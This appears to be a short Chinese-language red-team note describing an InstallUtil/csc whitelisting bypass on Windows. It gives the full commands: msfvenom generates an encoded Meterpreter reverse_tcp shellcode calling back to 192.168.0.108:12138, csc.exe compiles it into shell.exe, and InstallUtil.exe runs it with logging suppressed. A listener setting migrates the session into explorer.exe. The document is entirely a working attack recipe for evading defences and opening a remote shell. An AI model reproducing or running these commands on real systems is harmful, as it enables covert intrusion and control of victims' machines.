CSC+InstallUtil

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
Payload粘贴到InstallUtil-Shellcode.cs中使用csc编译

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\Users\y\Desktop\shell.exe C:\Users\y\Desktop\InstallUtil-ShellCode.cs

执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe